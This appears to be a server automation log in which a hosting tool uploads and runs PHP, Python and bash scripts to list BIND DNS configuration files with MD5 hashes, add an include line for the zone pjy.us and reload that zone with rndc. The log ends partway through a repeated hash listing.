MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:30:34: Establishing a connection
2026-05-06 10:30:34: Establishing a connection
2026-05-06 10:30:34: 

PUT: /tmp/pkp437383

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:30:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp437383; rm /tmp/pkp437383'

2026-05-06 10:30:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:30:35: 

PUT: /tmp/pkp217644

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-05-06 10:30:35: 

chmod 755 /tmp/pkp217644; /tmp/pkp217644; rm /tmp/pkp217644

2026-05-06 10:30:38: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-05-06 10:30:38: 

PUT: /tmp/pkp920282

#!/bin/bash
rndc reload pjy.us 2>&1


2026-05-06 10:30:38: 

chmod 755 /tmp/pkp920282; /tmp/pkp920282; rm /tmp/pkp920282

2026-05-06 10:30:38: 


zone reload up-to-date


2026-05-06 10:30:38: Establishing a connection
2026-05-06 10:30:38: 

PUT: /tmp/pkp736063

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:30:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp736063; rm /tmp/pkp736063'

2026-05-06 10:30:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
